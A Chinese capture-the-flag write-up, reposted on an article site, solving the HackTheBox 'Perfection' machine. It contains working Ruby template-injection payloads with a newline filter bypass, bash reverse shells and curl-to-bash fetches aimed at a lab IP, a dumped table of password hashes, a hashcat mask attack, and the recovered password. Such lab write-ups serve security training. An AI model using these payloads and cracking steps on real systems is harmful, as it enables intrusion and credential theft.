HTB靶场 Perfection

2024-04-25 12:20
文章标签 靶场 htb perfection

本文主要是介绍HTB靶场 Perfection,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

端口 打开了ssh和http服务

访问 Perfection靶机的网站

是一个根据权重计算总成绩的网站

Wappalyzer查看网页用的什么编写搭建的

抓包看一下是怎么工作的

发送,,返回的结果

如果我在 类别 后面多加一句命令

就会出现提示  恶意输入阻止

大概率有命令注入

通过插件知道用的ruby语言

存在SSTI(模板注入漏洞)

SSTI (Server Side Template Injection) | HackTricks | HackTricks

%0A是截断符号,它可以使bash在读取代码时读到这个符号时停止读取这一行的后续代码,取而代之的是接着执行后面的代码

在传参中url编码会自动忽略空格要用“+”来代替上述语句

将payload使用base64编码来进行嵌套,为了避免后面可能会有一些关键字过滤

url encode key characte编码

aaa%0A<%25%3d+File.open('/etc/passwd').read+%25>

把<%= File.open('/etc/passwd').read %> 选中右键选择Convert Selection选择url 选择url encode key character  就得到<%25%3d+File.open('/etc/passwd').read+%25>

有一个susan用户

拿shell第一次失败,再次重试就成功了

<%= `bash -c 'bash -i >& /dev/tcp/10.10.14.29/6666 0>&1'` %>

-c 运行后边的字符串命令

bash -i (交互式) 启动一个交互式bash shell

>& 将这个shell的标准输出和标准错误输出都重定向到 与IP地址10.10.14.29在端口6666上建立的TCP连接中
/dev/tcp打开这个文件就类似于发出了一个socket调用,建立一个socket连接,读写这个文件就相当于在这个socket连接中传输数据,/dev/tcp/host/port 只要读取或者写入这个文件,相当于系统会尝试连接:host 这台机器,对应port端口

0标准输入 重定向 >& 1标准输出

把它url encode key character 得到

<%25%3d+`bash+-c+'bash+-i+>%26+/dev/tcp/10.10.14.29/6666+0>%261'`+%25>

然后category1=

ingles%0A<%25%3d+`bash+-c+'bash+-i+>%26+/dev/tcp/10.10.14.29/6666+0>%261'`+%25>

拿到shell了

拿shell第二次失败

 写个1.sh  内容为 
bash -i >& /dev/tcp/10.10.14.29/6666 0>&1

开启http服务

python3 -m http.server 80 

把<%= `curl http://10.10.14.29/1.sh|bash` %>编码
<%25%3d+`curl+http://10.10.14.29/1.sh|bash`+%25>

还是失败  状态码应该是504不是200

拿shell第三次失败

HTB靶机渗透之perfection(linux-easy)超详细!!!_webrick 1.7.0 漏洞-CSDN博客

在burp的 decoder模块编码

由于这个代码在输入网页后,发送到服务器前会被自动url编码,所以我们要对对应的字符手动进行url编码  

%25对应的是%

aaa%0a<%25恶意代码%25>;

要让base64格式的payload能被正确在bash中读取,在linux系统中,我们可以通过echo来写入文件或是执行命令,然后调用base64 -d来解析payload,最后再用bash执行,“|”符号的作用就是分割语句

其余恶意代码=echo+[payload]|+base64+-d+|+bash   (+表示空格)
总的 category1=

aaa%0a<%25=system("echo+payload|+base64+-d+|+bash);%25>;

写一段反弹shell代码#!/bin/bash bash -i >& /dev/tcp/10.10.14.29/6666 0>&1

经过base64编码

拿到用户的flag

现在就要提权了

.sudo_as_admin_successful 我们只有读写,不能执行

ssh密钥登录没必要尝试

SSH 使用密钥远程登录_ssh用密钥登录-CSDN博客

接着看.ssh目录有2个文件(都可以读写)  ssh是密钥登录

authorized.keys是密钥对中的公钥

authorized_keys用于存储允许通过 SSH 访问特定用户帐户的公钥。当用户尝试通过 SSH 连接到服务器时,服务器会使用此文件中的公钥验证用户的身份

查看/etc/ssh/sshd_config

PubkeyAuthentication  yes表示允许密钥访问

susan服务器生成密钥对ssh-keygen

服务器安装公钥 cat id_rsa.pub >> authorized_keys

私钥./id_rsa拷贝到客户端

然后我觉得就算登录成功,ssh依然是susan的shell

换思路

sudo -l  列出当前用户可以执行的sudo命令   执行不了sudo需要密码

查找具有suid的权限 

-type f 仅查找文件

有fusermount3  查看版本fusermount3 --version
fusermount3 version: 3.10.5

fusermount3没有漏洞可以利用

查找.txt、.db、.sql、.dump文件

寻找和password有关的文件 grep -i password -R

grep是文本搜索工具 -i不区分大小写 -R递归搜索,查找目录下的所有子目录

find / -name "*.db" -type f 2>/dev/nul

/home/susan/Migration/pupilpath_credentials.db是数据库文件

靶机上虽然有sqlite3 但是不会显示任何内容

试试 创造一个交互式shell

python3 -c 'import pty;pty.spawn("/bin/bash")'

成功显示交互内容

sqlite3 .db

.table

select * from users;

得到

1|Susan Miller|abeb6f8eb5722b8ca3b45f6f72a0cf17c7028d62a15a30199347d9d74f39023f
2|Tina Smith|dd560928c97354e3c22972554c81901b74ad1b35f726a11654b78cd6fd8cec57
3|Harry Tyler|d33a689526d49d32a01986ef5a1a3d2afc0aaee48978f06139779904af7a6393
4|David Lawrence|ff7aedd2f4512ee1848a3e18f86c4450c1c76f5c6e27cd8b0dc05557b344b87a
5|Stephen Locke|154a38b253b4e08cba818ff65eb4413f20518655950b9a39964c18d7737d9bb8

没实验过

或者把db文件下载到自己的机器

开启http服务  curl上传文件到127.0.0.1

curl -F "file=@pupilpath_credentials.db" http://127.0.0.1 

查看包含用户名的文件

find / -name "*susan*" -type f -ls 2>/dev/null

cat /var/mail/susan

所以说密码格式

susan(名)_nasus(名字反过来)_一串数字

hash-identifier hash码

可以判断hash加密的算法是啥 sha256

hashcat

参考HTB Perfection_perfection htb-CSDN博客

 hashcat -m 1400 -a 3 -i --increment-min=1 --increment-max=10 hash.txt 'susan_nasus_?d?d?d?d?d?d?d?d?d?d'

-m 1400 描述了哈希类型(SHA256)  0是MD5
-a 3 使用掩码模式
-i 以及 --increment-min=1 和 --increment-max=10 指定你要爆破的最小和最大长度
?d?d?d?d?d?d?d?d?d?d 是一个掩码字符串,用于生成尝试的密码  ?d 表示一位数字

我的虚拟机内存不够 

然后我就直接 看其他人的

susan_nasus_413759210

然后ssh登录 ssh susan@10.10.11.253

sudo -i 就可以了

这篇关于HTB靶场 Perfection的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/934670

相关文章

BUUCTF靶场[web][极客大挑战 2019]Http、[HCTF 2018]admin

目录   [web][极客大挑战 2019]Http 考点:Referer协议、UA协议、X-Forwarded-For协议 [web][HCTF 2018]admin 考点:弱密码字典爆破 四种方法:   [web][极客大挑战 2019]Http 考点:Referer协议、UA协议、X-Forwarded-For协议 访问环境 老规矩,我们先查看源代码

log4j靶场,反弹shell

1.用vulhub靶场搭建,首先进入目录CVE-2021-44228中,docker启动命令 2.发现端口是8983,浏览器访问http://172.16.1.18:8983/ 3.用dnslog平台检测dns回显,看看有没有漏洞存在 4.反弹shell到kali(ip为172.16.1.18)的8888端口 bash -i >& /dev/tcp/172.16.1.18

HTB-You know 0xDiablos

引言 项目概述:HTB的EASY难度 PWN靶机 You know 0xDiablos https://app.hackthebox.com/challenges/106 本文详细解释了溢出payload的结构以及为什么要这样构造,友好的为想要入手PWN的朋友解释了原理技术点涉及: 32位linux逆向、32位程序调用、栈溢出目标与读者:网络安全兴趣爱好者、PWN新手 基本情况 运行看看

红日靶场----(四)1.后渗透利用阶段

使用Metasploit进入后渗透利用阶段     一旦我们获取了目标主机的访问权限,我们就可以进入后渗透利用阶段,在这个阶段我们收集信息,采取措施维护我们的访问权限,转向其他机器     Step01:上线MSF(通过metasploit获取目标系统的会话-即SHELL) 常用选项-p //指定生成的Payload--list payload //列出所支持的Payload类

【红日靶场】ATTCK实战系列——红队实战(一)手把手教程

目录 入侵网络的思路 一些概念 (1)工作组 (2)域 (3)账号 红日靶机(一) 网络结构 下载 配置web服务器的两张网卡 配置内网的两台机器(域控和域内主机) 渗透web服务器 外网信息搜集 (1)外网信息搜集的内容 (2)开始信息搜集(主要是利用工具) 漏洞利用 (1)漏洞利用的两种方式 (2)利用phpMyAdmin (3)开启3389端口远程桌面

tomato靶场攻略

1.使用nmap扫描同网段的端口,发现靶机地址 2.访问到主页面,只能看到一个大西红柿 3.再来使用dirb扫面以下有那些目录,发现有一个antibot_image 4.访问我们扫到的地址 ,点金目录里看看有些什么文件 5.看到info.php很熟悉,点进去看看   6.查看源代码发现是通过GET方式传参的 ,有文件包含漏洞 7. 利用文件包含漏洞,我们尝试查看一

Tomato靶场渗透测试

1.扫描靶机地址 可以使用nmap进行扫描 由于我这已经知道靶机地址 这里就不扫描了 2.打开网站 3.进行目录扫描 dirb    http://172.16.1.113 发现有一个antibot_image目录 4.访问这个目录 可以看到有一个info.php 5.查看页面源代码 可以发现可以进行get传参 6.尝试查看日志文件 http://172.16

攻防世界 —— 靶场笔记合集

靶场地址:https://adworld.xctf.org.cn/ 备注:此为靶场笔记合集的目录,是我接下来待更新的内容(主要是因为主线一篇太耗时间了,所以开通一条支线,来满足我日更两篇的目标,当该靶场更新完毕后,此条注释会删除) 0x01:Misc 0x02:Pwn 0x03:Web 0x0301:Web - Level 1 0x04:Reverse 0x05:Crypto

HTB-bike(SSTI模版注入)

前言 大家好,我是qmx_07,今天给大家讲解bike靶场 渗透过程 信息搜集 服务器开放了 22 ssh 和 http80端口 Wappalyzer 介绍:Wappalyzer是一种浏览器扩展程序,用于识别正在访问的网站所使用的技术栈和工具,比如使用的web框架,编程语言等 服务器所使用Express框架 发现SSTI模版注入 可以看到这个输入框,用来输出 内容尝试x

【靶场】upload-labs-master(前11关)

🏘️个人主页: 点燃银河尽头的篝火(●’◡’●) 如果文章有帮到你的话记得点赞👍+收藏💗支持一下哦 【靶场】upload-labs-master(前11关) 第一关 Pass-01第二关 Pass-02第三关 Pass-03第四关 Pass-04第五关 Pass-05第六关 Pass-06第七关 Pass-07第八关 Pass-08第九关 Pass-09第十关 Pass-10第